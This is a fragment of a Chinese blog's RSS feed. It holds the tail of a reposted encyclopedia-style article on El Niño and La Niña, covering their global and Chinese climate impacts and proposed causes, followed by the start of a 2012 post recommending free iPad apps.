<p> 在<a href="http://baike.baidu.com/view/51710.htm">南部非洲</a>，厄尔尼诺带来了自1997来最严重的干旱，并使大约500万人口面临饥荒的威胁；在西太平洋地区，厄尔尼诺抑制了降雨，使印度尼西亚和<a href="http://baike.baidu.com/view/19268.htm">巴布亚新几内亚</a>陷入了干旱并引起森林火灾；东太平洋沿岸国家智利、<a href="http://baike.baidu.com/view/8081957.htm">秘鲁、厄瓜多尔</a>、阿根廷、乌拉圭和<a href="http://baike.baidu.com/view/5399.htm">巴西</a>东部暴风雨和雪成灾。智利全国13个大区有9个遭受水灾，灾民超过5.1万。在阿根廷和智利边境地区，安第斯山区积雪最深达4米，公路被阻，人员被围。在厄瓜多尔<a href="http://baike.baidu.com/view/59742.htm">沿海地区</a>，更是山洪暴发，通讯中断，成千上万人无家可归。引起这一海洋生物灾难的是秘鲁寒流北部海区的一股自西向东流动的赤道逆流&#8211;<a href="http://baike.baidu.com/view/783028.htm">厄尔尼诺暖流</a>，它一般势力较弱，不会产生什么影响。在厄尔尼诺现象发生的年份，它的活力增强，在受南美大陆的阻挡之后，就会掉头流向南方秘鲁寒流所在的地区，使这里的海水温度骤然上升3℃～6℃。原来生活在这一海区的冷水性浮游生物和鱼类由于不适应这种温暖的环境而大量地死亡，以鱼类作食物的海鸟、海兽因找不到食物而相继饿死或另迁它处。灾难最严重的几天，秘鲁首都<a href="http://baike.baidu.com/view/77228.htm">利马</a>外港卡亚俄海面和滩地上到处是鱼类、海鸟及其它海洋动物的尸骸。死亡的动物尸体腐烂产生硫化氢，致使海水变色，臭气熏天，使泊港舰船的水下船壳变黑，并随着雾气或吹向大陆的海风泼向港口附近的建筑物和汽车，在它们表面也涂上了一层黑色，就像是有人用油漆漆过一样。当地人便把这件厄尔尼诺的&quot;<a href="http://baike.baidu.com/view/683.htm">涂鸦</a>&quot;之作称为&quot;卡亚俄漆匠&quot;。虽然厄尔尼诺现象带来了灾难但是它带来充沛的雨水使150多万只火烈鸟又回到湖边 </p>
<h5><a name="6_3"></a><a name="sub1705_6_3"></a>原理</h5>
<p>  厄尔尼诺现象发生时，由于海温的异常增高，导致海洋上空大气层气温升高，破坏了大气环流原来正常的热量、水汽等分布的动态平衡。这一海气变化往往伴随着出现全球范围的灾害性天气：该冷不冷、该热不热，该天晴的地方洪涝成灾，该下雨的地方却烈日炎炎焦土遍地。一般来说，当厄尔尼诺现象出现时，赤道太平洋中<a href="http://baike.baidu.com/view/1261827.htm">东部地区</a>降雨量会大大增加，造成洪涝灾害，而澳大利亚和印度尼西亚等太平洋<a href="http://baike.baidu.com/view/54348.htm">西部地区</a>则干旱无雨。据不完全统计，20世纪以来出现的厄尔尼诺现象已有17次（包括最新一轮1997～1998年的厄尔尼诺现象）。发生的季节并不固定，持续时间短的为半年，长的一两年。强度也不一样，1982～1983年那次较强，持续时间长达两年之久，使得灾害频发，造成大约1500人死亡和至少100亿美元的财产损失。
<p> 同前几次一样，新一轮的厄尔尼诺现象也影响到了<a href="http://baike.baidu.com/view/61891.htm">中国</a>。最明显的表现是它能使来自东南部海洋上的夏季风强度减弱，造成夏季降雨带的位置偏南，出现南方暴雨成灾、北方旱象严重的异常现象。6～8月期间，北方大部分地区都出现异常高温，首都北京这一时期天气闷热异常，使得空调器的销售出现空前兴旺的景象。中国往年夏季高温所在地区长江中下游一带，<a href="http://baike.baidu.com/view/2833.htm">重庆</a>、武汉、<a href="http://baike.baidu.com/view/8557.htm">南昌</a>、南京四大&quot;火炉&quot;却有两个&quot;熄火&quot;。地处北方的<a href="http://baike.baidu.com/view/4233.htm">山东</a>等省份因持续高温，出现了罕见的旱灾，黄河山东利津水文站断流达222天，严重影响了工农业生产和人民的生活。与此同时，南方许多地区的雨量大大高于往年，还有中国十一月十日全国大范围降温导致南方平均温度比常年低了十多度冬天早了十五天，东北及北方比常年平均温度低了大约十五度冬天早了一个月。据报道，<a href="http://baike.baidu.com/view/2816.htm">澳门</a>1997年全年前8个月的降雨量超过了过去40年的年平均降雨量；<a href="http://baike.baidu.com/view/2607.htm">香港</a>的降雨量也打破了有史以来的降水纪录，“七一”香港回归那天，持续不断的大雨自始至终伴随着隆重的交接仪式，令人印象深刻。总的来看，在厄尔尼诺现象的作用下，全国大部分地区冬季的温度比正常年份高，<a href="http://baike.baidu.com/view/841300.htm">南涝北旱</a>现象比较明显还有中国十一月十日全国大范围 </p>
<h5><a name="6_4"></a><a name="sub1705_6_4"></a>女婴</h5>
<p> <b>圣婴之后有“女婴” </b>
<p> 在深入探索厄尔尼诺与气候变化的关系的过程中，科学家又发现了与其性格相反的拉尼娜（LA NI？A）现象。有人称之为圣婴的邪恶妹妹&quot;女婴&quot;，虽然威力不及圣婴，但也会给人类造成相当伤害。<a href="http://baike.baidu.com/view/159325.htm">拉尼娜</a>现象也是每隔几年出现一次，是东太平洋沿着赤道酝酿出的不正常低温气流，导致气候异常。其发生频率比厄尔尼诺现象低，上一次较强的情况发生在1988～1989年间。1988年夏，<a href="http://baike.baidu.com/view/595143.htm">北美</a>的大干旱烤焦了从加里福尼亚到<a href="http://baike.baidu.com/view/911626.htm">佐治亚</a>的大片土地，使谷物收成减产了1/3。美国西部森林火灾不断，著名的<a href="http://baike.baidu.com/view/7695.htm">黄石国家公园</a>一度被大火所吞。随后飓风又从<a href="http://baike.baidu.com/view/10244.htm">加勒比海</a>上空呼啸而过，侵害多数的<a href="http://baike.baidu.com/view/122999.htm">中美洲</a>国家，仅<a href="http://baike.baidu.com/view/4788.htm">尼加拉瓜</a>一国的损失就达数百万美元，致使500多人死亡，成千上万的人无家可归。 </p>
<p><a href="http://baike.baidu.com/albums/1705/1705/0/0.html#0$476217f759a2c71b730eec0f"><img title="厄尔尼诺" src="http://imgsrc.baidu.com/baike/abpic/item/476217f759a2c71b730eec0f.jpg" /></a></p>
<p>厄尔尼诺</p>
<p>1998年5月厄尔尼诺现象才告结束，全球气候尚未恢复正常，拉尼娜现象又出来为患。令不少地方分别出现严寒、冬暖、风雪、干旱和暴雨等灾害。从世界范围来看，拉尼娜现象在南部非洲引起暴风雨和洪灾，在<a href="http://baike.baidu.com/view/21481.htm">肯尼亚</a>和坦桑尼亚引起干旱，在菲律宾和印度尼西亚酿成洪灾，在南美洲的<a href="http://baike.baidu.com/view/5016857.htm">南部地区</a>则是异常的干燥少雨天气，与厄尔尼诺引起的现象正好相反。 </p>
<p> 究竟是什么造成了厄尔尼诺现象呢？科学家对此一直众说纷纭，难有定论。 </p>
<p> 一般认为，厄尔尼诺现象是太平洋赤道带大范围内海洋与大气相互作用失去平衡而产生的一种气候现象。在东南信风的作用下，南半球太平洋大范围内海水被风吹起，向西北方向流动，致使澳大利亚附近洋面比南美洲西部洋面水位高出大约50厘米。当这种作用达到一定程度后，海水就会向相反方向流动，即由西北向东南方向流动。反方向流动的这一洋流是一股暖流，即厄尔尼诺暖流，其尽头为南美西海岸。受其影响，南美西海岸的冷水区变成了暖水区，该区域<a href="http://baike.baidu.com/view/46553.htm">降水量</a>也大大增加。厄尔尼诺现象的基本特征是：赤道太平洋中、东部海域大范围内海水温度异常升高，海水水位上涨。 </p>
<p> 近年来，一些科学家对厄尔尼诺现象的成因提出了不同的看法。 </p>
<h4><a name="7"></a><a name="sub1705_7"></a>影响</h4>
<p>  首先是<a href="http://baike.baidu.com/view/951.htm">台风</a>减少，厄尔尼诺现象发生后，西北太平洋热带风暴（台风）的产生个数及在中国沿海登陆个数均较正常年份少。
<p> 其次是中国北方夏季易发生高温、干旱，通常在厄尔尼诺现象发生的当年，中国的夏季风较弱，季风雨带偏南，位于中国中部或长江以南地区，中国北方地区夏季往往容易出现干旱、高温。1997年强厄尔尼诺发生后，中国北方的干旱和高温十分明显。 </p>
<p> 第三是中国南方易发生低温、<a href="http://baike.baidu.com/view/84753.htm">洪涝</a>，在厄尔尼诺现象发生后的次年，在中国南方，包括<a href="http://baike.baidu.com/view/39161.htm">长江流域</a>和<a href="http://baike.baidu.com/view/9229.htm">江南</a>地区，容易出现洪涝，近百年来发生在中国的严重洪水，如1931年、1954年和1998年，都发生在厄尔尼诺年的次年。中国在1998年遭遇的特大洪水，厄尔尼诺便是最重要的影响因素之一。 </p>
<p> 最后，在厄尔尼诺现象发生后的<a href="http://baike.baidu.com/view/19085.htm">冬季</a>，中国北方地区容易出现<a href="http://baike.baidu.com/view/237404.htm">暖冬</a>。 </p>
<p> 根据近50年的气象资料，厄尔尼诺发生后，中国当年冬季温度偏高的<a href="http://baike.baidu.com/view/614392.htm">几率</a>较大，第二年中国南部地区夏季降水容易偏多，而北方地区往往出现大范围<a href="http://baike.baidu.com/view/20274.htm">干旱</a>。 </p>
<p> 据<a href="http://baike.baidu.com/view/8081.htm">历史</a>记载，自1950年以来，<a href="http://baike.baidu.com/view/8083.htm">世界</a>上共发生13次厄尔尼诺现象。其中1997年发生的并且持续至今的这一次最为严重。主要表现在：从北半球到<a href="http://baike.baidu.com/view/94011.htm">南半球</a>，从<a href="http://baike.baidu.com/view/6546.htm">非洲</a>到<a href="http://baike.baidu.com/view/561018.htm">拉美</a>，气候变得古怪而不可思议，该凉爽的地方骄阳似火，温暖如春的季节突然下起来大雪，雨季到来却迟迟滴雨不下，正值旱季却洪水泛滥。 </p>
<p> 科学家们认为，厄尔尼诺现象的发生与人类自然环境的日益恶化有关，是地球<a href="http://baike.baidu.com/view/3198.htm">温室效应</a>增加的直接结果，与人类向大自然过多索取而不注意环境保护有关。 </p>
<p> 根据对近百年来<a href="http://baike.baidu.com/view/169159.htm">太阳活动</a>变化规律与厄尔尼诺关系的研究，科学家发现<a href="http://baike.baidu.com/view/953.htm">太阳黑子</a>减少期到谷值期是厄尔尼诺的多发期，并有2至3次厄尔尼诺发生。 </p>
<p> 1997年春夏之交开始沸腾的赤道“气候开水壶”——厄尔尼诺，以其来势之凶、发展之快、强度之大、危害之重堪称百年之首，已被<a href="http://baike.baidu.com/view/38274.htm">人民日报</a>等新闻单位评为十大国际新闻之一，并且受到中国及世界各国高层决策者及环境、经济学家的密切关注。 </p>
<p> 早在形成之初，<a href="http://baike.baidu.com/view/1781.htm">江泽民</a>总书记就要求有关部门研究厄尔尼诺事件对中国农业可能带来的影响，国家有关部门邀请专家就此进行了咨询，并向中央领导提出书面报告。专家指出，厄尔尼诺的生态、环境、气候效应以及对世界经济的影响不容忽视，应当引起有关部门的高度重视。 </p>
<p> 早期，人们对东太平洋出现的暖洋流兴趣十足，为其取名为“上帝之子”。一是因为它常发生在圣诞节前后，更主要原因，它与当地的丰收年景有关。1925年人们目睹了秘鲁附近发生的暖洋流，当年3月沙漠地区降雨量多达400毫米，而前5年降水总和不足 20毫米。结果，沙漠变成绿洲，几乎整个秘鲁覆盖着茂密的牧草，羊群成倍增多，不毛之地纷纷长出了庄稼……尽管人们也发现，许多鸟类死亡，<a href="http://baike.baidu.com/view/262140.htm">海洋生物</a>遭到破坏，但人们依然相信是“圣婴”给他们带来了丰收年。 </p>
<p> 几十年过去了，人们对厄尔尼诺现象已有全新理解，特别对生态、环境、气候乃至世界经济的影响，有了较深刻的认识。科学家确信，厄尔尼诺特别是强厄尔尼诺会给世界经济带来巨大灾难。美国《<a href="http://baike.baidu.com/view/57846.htm">纽约时报</a>》和《洛杉矶时报》提供的评估材料显示：1982～1983年的暖事件中，秘鲁是受害最重的国家之一。事件发生前，秘鲁供应的鱼粉占世界 38%，1982～1983年秘鲁的捕鱼量从过去的1030万吨锐减到180万吨；美国作为鱼粉的代用品——黄豆的价格暴涨3倍，饲料价格上涨反过来又使鸡的零售价猛涨；菲律宾干旱严重，导致椰子价格大幅度上扬，又使制造<a href="http://baike.baidu.com/view/23286.htm">肥皂</a>和清洁剂的成本大大提高……1997年8月，<a href="http://baike.baidu.com/view/26618.htm">世界气象组织</a>的一份报告指出，1982～1983年的厄尔尼诺，造成全球130亿美元的直接经济损失，间接和潜在影响难以估计。 </p>
<p><a href="http://baike.baidu.com/albums/1705/1705/0/0.html#0$7aad4ae704ea151fb93820c9"><img title="影响范围" src="http://imgsrc.baidu.com/baike/abpic/item/7aad4ae704ea151fb93820c9.jpg" /></a></p>
<p>影响范围</p>
<p> 中国科学家对1871～1997年发生的30余次厄尔尼诺事件研究认为，以热带东太平洋地区洪水泛滥、热带西太平洋地区荒芜干旱为特征的厄尔尼诺，对世界的影响弊大于利。特别是90年代以来发生的4次厄尔尼诺，使太平洋沿岸国家遭受重大损失：澳大利亚发生数十年最严重的干旱，粮食持续减产，经济作物破坏严重；印尼、澳大利亚森林大火损失惨重，举世瞩目；厄尔尼诺还使美国东部出现少有的寒冬，造成能源、交通运输等经济损失数百亿美元；<a href="http://baike.baidu.com/view/29541.htm">东亚</a>许多国家经历了少有的冷夏，水稻严重减产。中国科学家认为，厄尔尼诺对中国的影响明显而复杂，主要表现在五个方面：一是厄尔尼诺年夏季主雨带偏南，北方大部少雨干旱；二是长江中下游雨季大多推迟；三是秋季中国东部降水南多北少，易使北方夏秋连旱；四是全国大部<a href="http://baike.baidu.com/view/2146161.htm">冬暖夏凉</a>；五是登陆中国台风偏少。除了上述一般规律外，也有一些例外情况。因为制约中国天气气候的因素很多，如大气环流、季风变化、陆地热状况、<a href="http://baike.baidu.com/view/2720.htm">北极</a>冰雪分布、洋流变化乃至太阳活动等。 </p>
<p> 至于厄尔尼诺形成原因，则是当代科学之谜。大多科学家认为不外乎两大方面：一是自然因素。赤道信风、<a href="http://baike.baidu.com/view/43598.htm">地球自转</a>、地热运动等都可能与其有关；二是人为因素。即<a href="http://baike.baidu.com/view/2749357.htm">人类活动</a>加剧气候变暖，也是赤道暖事件剧增的可能原因之一。 </p>
<p> 1997年12月份就出现了20世纪末最严重的一次厄尔尼诺现象。海水温度的上升常伴随着赤道幅合带在南美西岸的异常南移，使本来在寒流影响下气候较为干旱的秘鲁中北部和厄瓜多尔西岸出现频繁的暴雨，造成水涝和泥石流灾害。厄尔尼诺现象的出现常使低纬度海水温度年际变幅达到峰值。因此，不仅对低纬大气环流，甚至对全球气候的短期振动都具有重大影响。一百多年来，著名的厄尔尼诺年是：1891年、 1898年、1925年、1939年～1941年、1953年、1957年～1958年、1965年～1966年、1972年～1976年、1982 年～1983年和1997年～1998年。 </p>
<h4><a name="8"></a><a name="sub1705_8"></a>科普图书《厄尔尼诺》</h4>
<p>  作 者：<a href="http://baike.baidu.com/view/304933.htm">张家诚</a> 编著
<p> 出 版 社：<a href="http://baike.baidu.com/view/494716.htm">气象出版社</a></p>
<p> 出版时间：2002-7-1 </p>
<p> I S B N：9787502933739 </p>
<h5><a name="8_1"></a><a name="sub1705_8_1"></a>内容介绍</h5>
<p><a href="http://baike.baidu.com/albums/1705/1705/0/0.html#0$b7bc4c664bdf2448aa184c12"><img title="厄尔尼诺" src="http://imgsrc.baidu.com/baike/abpic/item/b7bc4c664bdf2448aa184c12.jpg" /></a></p>
<p>厄尔尼诺</p>
<p> 人类居住的地球正面临着前所未有的环境威胁，众多学术组织及不同领域的科学家正在分析和研究对策。就是普通百姓也开始热衷于了解像厄尔尼诺、拉尼娜、<a href="http://baike.baidu.com/view/456557.htm">臭氧洞</a>、全球变暖等气象科学名词。为了使广大读者更深入地了解气象科学，更深入地理解我们人类乃至个人在解决<a href="http://baike.baidu.com/view/2097170.htm">全球气候变化</a>问题中应承担责任和义务，我们出版了《<a href="http://baike.baidu.com/view/100937.htm">气象万千</a>》这样一套通俗易懂的科普图书，内容涉及所有的大气现象及人们最为关心的一些天气气候热点问题。我们希望通过这套书来强化人们的气象意识，了解气象，用好<a href="http://baike.baidu.com/view/876606.htm">气象服务</a>产品。 </p>
<p> 本套书共18册，图文并茂，理论与现象结合，阐述简明，通俗易懂，适合广大青少年及对气象感兴趣的读者阅读。愿这样一套书能对读者有所裨益，发挥她应用的作用。 </p>
<h5><a name="8_2"></a><a name="sub1705_8_2"></a>目录</h5>
<p>  两个圣婴的来历
<p> 海洋是神话的世界 </p>
<p> 大气环流 </p>
<p><a href="http://baike.baidu.com/view/161505.htm">大洋环流</a></p>
<p> 恩索与海气耦合 </p>
<p> 厄尔尼诺与拉尼娜的风采 </p>
<p> 1997～年和1982～1983年的厄尔尼诺 </p>
<p> 厄尔尼诺对世界其他地区的影响 </p>
<p> 厄尔尼诺的今昔 </p>
<p> 旱涝频繁的华夏大地 </p>
<p> 龙王间的搏斗 </p>
<p> 厄尔尼诺与<a href="http://baike.baidu.com/view/1672105.htm">南海龙王</a></p>
<p> 中国洪涝与厄尔尼诺 </p>
<p> 厄尔尼诺与人间祸福 </p>
<p> 气象灾害与厄尔尼诺 </p>
<p> 全球增温与厄尔尼诺 </p>
<p> 厄尔尼诺与旱涝灾害 </p>
<h4><a name="9"></a><a name="sub1705_9"></a>相关探究</h4>
<p>  在探索厄尔尼诺现象形成机理的过程中，科学家们发现了这样的巧合：20年代到50年代，是<a href="http://baike.baidu.com/view/1454801.htm">火山活动</a>的低潮期，也是世界大洋厄尔尼诺现象次数较少、强度较弱的时期；50年代以后，世界各地的火山活动进入了活跃期，与此同时，大洋上厄尔尼诺现象次数也相应增多，而且表现十分强烈。根据近百年的资料统计，75%左右的厄尔尼诺现象是在强火山爆发后一年半到两年间发生的。这种现象引起了科学家的特别关注，有科学家就提出，是海底火山爆发造成了厄尔尼诺暖流。
<p> 近年来更多的研究发现，厄尔尼诺事件的发生与<a href="http://baike.baidu.com/view/92072.htm">地球自转速度</a>变化有关，自50年代以来，地球自转速度破坏了过去10年尺度的平均加速度分布，一反常态呈4～5年的波动变化，一些较强的厄尔尼诺年平均发生在地球自转速度发生重大转折年里，特别是自转变慢的年份。地转速率短期变化与赤道东太平洋海温变化呈反相关，即地转速率短期加速时，赤道东太平洋海温降低；反之，地转速率短期减慢时，赤道东太平洋海温升高。这表明，地球自转减慢可能是形成厄尔尼诺现象的主要原因。 分析指出，当地球自西向东旋转加速时，赤道带附近自东向西流动的洋流和信风加强，把太平洋洋面暖水吹向西太平洋，东太平洋深层冷水势必上翻补充，海面温度自然下降而形成拉尼娜现象。当地球自转减速时，“刹车效应”使赤道带大气和海水获得一个向东惯性力，赤道洋流和信风减弱，西太平洋暖水向东流动，东太平洋冷水上翻受阻，因暖水堆积而发生海水增温、海面抬高的厄尔尼诺现象。 </p>
<p><a href="http://baike.baidu.com/albums/1705/1705/0/0.html#0$fc5e5f34f1360a7f251f14ca"><img title="研究状况" src="http://imgsrc.baidu.com/baike/abpic/item/fc5e5f34f1360a7f251f14ca.jpg" /></a></p>
<p>研究状况</p>
<p> 历史记录显示，自1949年至1990年的40余年间共发生10次厄尔尼诺现象，平均3.5年一次，而90年代以来的最近几年里竟出现了4次（1991 年～1992年、1993年、1994年～1995年、1997年～1998年），实属历史罕见。而且，90年代以来太平洋海温长期持续偏高，时起时伏的厄尔尼诺现象伴随着全球气温持续异常，自然灾害特别是气候巨灾频发。这表明，近年来厄尔尼诺现象的发生有加快、加剧的趋势。是谁在助长“圣婴”、“女婴” 作恶？ </p>
<p> 人们已经认识到，除了地震和火山爆发等人类无法阻止的纯粹自然灾害之外，许多灾害的发生同人类的活动有密切的关系。“天灾八九是人祸”这个道理已被越来越多的人所认识。那么肆虐全球的厄尔尼诺现象是否也受到人类活动的影响呢？近些年厄尔尼诺现象频频发生、程度加剧，是否也同人类生存环境的日益恶化有一定关系？有科学家从厄尔尼诺发生的周期逐渐缩短这一点推断，厄尔尼诺的猖獗同地球温室效应加剧引起的全球变暖有关，是人类用自己的双手，助长了“圣婴”作恶。当然，要证明全球变暖对厄尔尼诺现象是否起了作用还需大量科学佐证。但厄尔尼诺现象频繁发生的结果，也可能产生一个更温暖的世界，这样，是厄尔尼诺现象引起全球变暖，还是全球变暖加快厄尔尼诺现象的发生，就陷入了一个先有鸡还是先有蛋的怪圈。 </p>
<p> 人类最终彻底走出“厄尔尼诺”怪圈，也许就取决于人类自己对自然的态度.1998年2月3日至5日，来自世界各国的100多名气象专家聚集<a href="http://baike.baidu.com/view/21419.htm">曼谷</a>，研讨对付“厄尔尼诺”的良策。科学家们认为，在预测厄尔尼诺现象方面，人类已取得了长足的进步。不少因“厄尔尼诺”造成的灾害得到了较为准确和及时的预测，使人类能够未雨绸缪。科学家发出了这样的呼吁：拯救大自然，也就是拯救人类自己。</p>
<p>There are no posts related to 厄尔尼诺.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.yxzone.net/2012/04/25/628.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>免费iPad应用软件推荐</title>
		<link>http://blog.yxzone.net/2012/04/12/626.html</link>
		<comments>http://blog.yxzone.net/2012/04/12/626.html#comments</comments>
		<pubDate>Thu, 12 Apr 2012 05:23:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[-天下杂侃]]></category>
		<category><![CDATA[ipad]]></category>
		<category><![CDATA[应用软件]]></category>

		<guid isPermaLink="false">http://blog.yxzone.net/?p=626</guid>
		<description><![CDATA[我的苹果iPad 3G目前已经体验了接近一个月的时间，颇有一些使用感受，在上一篇苹果iPad评测中，我主要介绍了iPad内置的一些基本功能和应用，而这一次，我特意为各位使用苹果iPad的用户推荐一些免费的苹果iPad应用软件，供大家参考。 安装苹果iPad应用之前，首先要有一个iTunes帐号，用于访问苹果的App Store，在App Store里有近万款iPad专用的应用程序，其中有很多功能不错的免费应用。注册iTunes帐号时候建议选择美国商店而不是中国商店，因为几乎所有的中国商店的应用软件在美国商店都有，但反之却未必。以下的所有应用均需要美国商店的帐号访问。 转载自 月光博客：http://www.williamlong.info/archives/2227.html 电子书应用 iBooks iPad最重要的一大用处恐怕就是电子书阅读器，苹果官方提供了免费的iBooks电子书应用，最新的iBooks软件前些日子刚升过级，支持iOS4 和iPhone，支持标签同步以及背景变色，棕色的背景比白色背景看起来更舒服，虽然功能上和Stanza比还有差距，但是界面真是越来越好看了。 目前iBooks的官方书店里的中文书籍很少，大部分是英文的，因此只能依靠同步本地电脑的EPUB格式的电子书文件到iPad里，同步的方法和同步 MP3音乐文件类似，在“编辑”-“偏好设置”中，选择显示“书籍”，然后选“文件”-“将文件添加到资料库”，把本地电脑的EPUB文件添加，同步 iPad的时候选择同步书籍即可。 Stanza Stanza是免费的电子书EPUB阅读器，这个阅读器的功能非常强大，最重要的一点是支持很多在线书库，用户可以直接浏览很多在线书库而无需同步本地文件，比较知名的在线书库包括“书仓”和“掌上书苑”。 用iPad看电子书的一个最大的问题就是，iPad太重了，长时间拿在手里会很累，纸质的书籍相对来说还是比较轻。 目前电子图书的国际标准是EPUB，该格式使用了XHTML展现文字，并通过ZIP格式进行压缩，比起TXT和PDF格式而言，EPUB可以根据阅读设备自动以最适于阅读的方式显示图书，阅读体验非常好，在电脑上也可以安装Adobe Digital Editions来查看EPUB电子书。苹果和索尼等大型厂商都支持EPUB标准，目前EPUB已经成为国际流行的一个自由开放的电子图书标准。非常可笑的事情是，中国最近也在讨论制定电子书版式行业标准，我感到很奇怪，放着这么一个自由开放的标准不去用，自己制定一个封闭的中国标准，中国的这些行业专家们是不是都吃饱了饭没事情做吗？ 地图类应用 Google Earth 大名鼎鼎的谷歌地球iPad版提供了一个支持多图层的，功能强大的虚拟三维地球仪软件，支持传统地图和卫星地图等，两个手指就能操作，浏览体验非常爽快。关于Google Earth for iPad的详细评测，请参见我这篇文章《Google Earth iPad版评测》。 拉手离线地图 拉手离线地图是专为节省用户流量费而设计的免费软件，用户可以在有网的时候下载好地图，以备出门在外没有网络的时候使用。拉手离线地图的最大特点是：不需要连接网络，依然可以查看地图并搜索到身边的生活服务信息。 拉手离线地图使用的是Google地图服务。 生活类应用 指南针Free HD Compass iPhone上也有这个指南针应用，总的来说，这个应用的界面相当漂亮。 电子琴JamPad 这款弹钢琴的软件可以同时支持多手指同时触摸操作，模拟吉他和混音，名且支持各种复杂的钢琴弹奏技巧，音质十分逼真。 QQ HD 在iPad上运行QQ软件，可以在这个新的平台进行网络聊天，有好友聊天和QQ群聊天，界面比较清爽，唯一令人烦恼的是，每次进入QQ HD都要输入图片验证码，很烦。 办公类应用 WordPress 著名博客平台WordPress的iPad版，博客作者可以使用这个免费应用来更新自己的博客，支持离线撰写，然后在线发布，非常方便。 Read It Later Free 如果你看到一篇文章或者一个网站，但是却没有时间读完，那就可以将其保存到Read It Later中。之后随时随地都可以阅读该文章或网站。从而避免只为了阅读某篇文章而向收藏夹和收件箱中添加一些杂乱的链接。 这个应用和iPhone版Twitter应用搭配使用非常有效，当用户在Twitter上看到一个链接的时候，可以使用这个工具将链接存储下来，由于手机访问速度较慢，稍后可以在iPad应用或者电脑上阅读，支持离线方式阅读，是一个很好用的书签管理工具。同样功能的instapaper只有 iPhone的免费版，iPad的免费版还没出来。 [...]]]></description>
			<content:encoded><![CDATA[<p>我的苹果iPad 3G目前已经体验了接近一个月的时间，颇有一些使用感受，在上一篇<a href="http://www.williamlong.info/archives/2205.html">苹果iPad评测</a>中，我主要介绍了iPad内置的一些基本功能和应用，而这一次，我特意为各位使用苹果iPad的用户推荐一些免费的苹果iPad应用软件，供大家参考。</p>
<p> 安装苹果iPad应用之前，首先要有一个iTunes帐号，用于访问苹果的App Store，在<a href="http://store.apple.com/">App Store</a>里有近万款iPad专用的应用程序，其中有很多功能不错的免费应用。注册iTunes帐号时候建议选择美国商店而不是中国商店，因为几乎所有的中国商店的应用软件在美国商店都有，但反之却未必。以下的所有应用均需要美国商店的帐号访问。</p>
<p><font color="#ff0000">转载自 </font><a href="http://www.williamlong.info/"><font color="#ff0000">月光博客</font></a><font color="#ff0000">：</font><a href="http://www.williamlong.info/archives/2227.html"><font color="#ff0000">http://www.williamlong.info/archives/2227.html</font></a></p>
<p><span id="more-626"></span>
<p><strong>电子书应用</strong></p>
<p><a href="http://itunes.apple.com/us/app/ibooks/id364709193?mt=8"><strong>iBooks</strong></a></p>
<p><img alt="iBooks" src="http://www.williamlong.info/upload/2227_1.jpg" /></p>
<p> iPad最重要的一大用处恐怕就是电子书阅读器，苹果官方提供了免费的iBooks电子书应用，最新的iBooks软件前些日子刚升过级，支持iOS4 和iPhone，支持标签同步以及背景变色，棕色的背景比白色背景看起来更舒服，虽然功能上和Stanza比还有差距，但是界面真是越来越好看了。</p>
<p> 目前iBooks的官方书店里的中文书籍很少，大部分是英文的，因此只能依靠同步本地电脑的EPUB格式的电子书文件到iPad里，同步的方法和同步 MP3音乐文件类似，在“编辑”-“偏好设置”中，选择显示“书籍”，然后选“文件”-“将文件添加到资料库”，把本地电脑的EPUB文件添加，同步 iPad的时候选择同步书籍即可。</p>
<p><a href="http://itunes.apple.com/us/app/stanza/id284956128?mt=8"><strong>Stanza</strong></a></p>
<p><img alt="Stanza" src="http://www.williamlong.info/upload/2227_2.jpg" /></p>
<p> Stanza是免费的电子书EPUB阅读器，这个阅读器的功能非常强大，最重要的一点是支持很多在线书库，用户可以直接浏览很多在线书库而无需同步本地文件，比较知名的在线书库包括“书仓”和“掌上书苑”。</p>
<p> 用iPad看电子书的一个最大的问题就是，iPad太重了，长时间拿在手里会很累，纸质的书籍相对来说还是比较轻。</p>
<p> 目前电子图书的国际标准是<a href="http://zh.wikipedia.org/zh-cn/EPUB">EPUB</a>，该格式使用了XHTML展现文字，并通过ZIP格式进行压缩，比起TXT和PDF格式而言，EPUB可以根据阅读设备自动以最适于阅读的方式显示图书，阅读体验非常好，在电脑上也可以安装<a href="http://www.adobe.com/products/digitaleditions/">Adobe Digital Editions</a>来查看EPUB电子书。苹果和索尼等大型厂商都支持EPUB标准，目前EPUB已经成为国际流行的一个自由开放的电子图书标准。非常可笑的事情是，中国最近也在讨论制定电子书版式行业标准，我感到很奇怪，放着这么一个自由开放的标准不去用，自己制定一个封闭的中国标准，中国的这些行业专家们是不是都吃饱了饭没事情做吗？</p>
<p><strong>地图类应用</strong></p>
<p><a href="http://itunes.apple.com/us/app/google-earth/id293622097?mt=8"><strong>Google Earth</strong></a></p>
<p><img alt="Google Earth" src="http://www.williamlong.info/upload/2227_3.jpg" /></p>
<p> 大名鼎鼎的谷歌地球iPad版提供了一个支持多图层的，功能强大的虚拟三维地球仪软件，支持传统地图和卫星地图等，两个手指就能操作，浏览体验非常爽快。关于Google Earth for iPad的详细评测，请参见我这篇文章《<a href="http://www.williamlong.info/archives/2215.html">Google Earth iPad版评测</a>》。</p>
<p><a href="http://itunes.apple.com/us/app/id377656457?mt=8"><strong>拉手离线地图</strong></a></p>
<p><img alt="拉手离线地图" src="http://www.williamlong.info/upload/2227_4.jpg" /></p>
<p> 拉手离线地图是专为节省用户流量费而设计的免费软件，用户可以在有网的时候下载好地图，以备出门在外没有网络的时候使用。拉手离线地图的最大特点是：不需要连接网络，依然可以查看地图并搜索到身边的生活服务信息。</p>
<p> 拉手离线地图使用的是Google地图服务。</p>
<p><strong>生活类应用</strong></p>
<p><a href="http://itunes.apple.com/us/app/free-hd-compass/id378697811?mt=8"><strong>指南针Free HD Compass</strong></a></p>
<p><img alt="指南针Free HD Compass" src="http://www.williamlong.info/upload/2227_5.jpg" /></p>
<p> iPhone上也有这个指南针应用，总的来说，这个应用的界面相当漂亮。</p>
<p><a href="http://itunes.apple.com/us/app/jampad/id364503678?mt=8"><strong>电子琴JamPad</strong></a></p>
<p><img alt="电子琴JamPad" src="http://www.williamlong.info/upload/2227_6.jpg" /></p>
<p> 这款弹钢琴的软件可以同时支持多手指同时触摸操作，模拟吉他和混音，名且支持各种复杂的钢琴弹奏技巧，音质十分逼真。</p>
<p><a href="http://itunes.apple.com/us/app/qq-hd/id364842432?mt=8"><strong>QQ HD</strong></a></p>
<p><img alt="QQ HD" src="http://www.williamlong.info/upload/2227_7.jpg" /></p>
